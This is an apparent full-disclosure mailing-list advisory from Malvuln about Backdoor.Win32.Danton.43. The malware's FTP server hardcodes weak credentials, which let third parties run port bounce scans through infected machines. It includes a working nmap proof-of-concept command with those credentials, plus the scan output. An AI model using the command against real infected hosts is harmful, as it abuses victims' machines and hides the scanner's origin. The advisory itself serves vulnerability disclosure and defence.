full-disclosure - [FD] Backdoor.Win32.Danton.43 / MITM Port Bounce Scan

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Message-ID: <CAAHK0WQJsvv8mJEmxOWsnSO9R3DrPFOZXJV3MQA=eE-dEt-RBA@mail.gmail.com>
Date: Fri, 14 May 2021 14:14:16 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Danton.43 / MITM Port Bounce Scan

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/85f7ef2b6b8da9adb7723a13b91ac1c7_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Danton.43
Vulnerability: MITM Port Bounce Scan
Description: The backdoor FTP server listens on TCP port 6974, hardcoding
weak plaintext credentials within the executable. Third-party adversaries
who successfully logon can abuse the backdoor FTP server as a
man-in-the-middle machine allowing PORT Command bounce scan attacks using
Nmap. This vulnerability allows remote attackers to abuse your system and
discreetly conduct network port scanning. Victims will then think these
scans are originating from the infected system running the afflicted
malware FTP Server and not you.
Type: PE32
MD5: 85f7ef2b6b8da9adb7723a13b91ac1c7
Vuln ID: MVID-2021-0212
Disclosure: 05/14/2021

Exploit/PoC:
nmap -n -Pn -b Danton:Danton@....168.18.127:6974 -p21,22,80 192.168.18.131
-v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-13 18:46 Pacific
Daylight Time
Resolved FTP bounce attack proxy to 192.168.18.127 (192.168.18.127).
Attempting connection to ftp://Danton:Danton@....168.18.127:6974
Connected:220 [ www.danton.prv.pl ]
Login credentials accepted by FTP server!
Initiating Bounce Scan at 18:47
Discovered open port 80/tcp on 192.168.18.131
Completed Bounce Scan at 18:47, 2.47s elapsed (3 total ports)
Nmap scan report for 192.168.18.131
Host is up.

PORT   STATE  SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open   http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.61 seconds

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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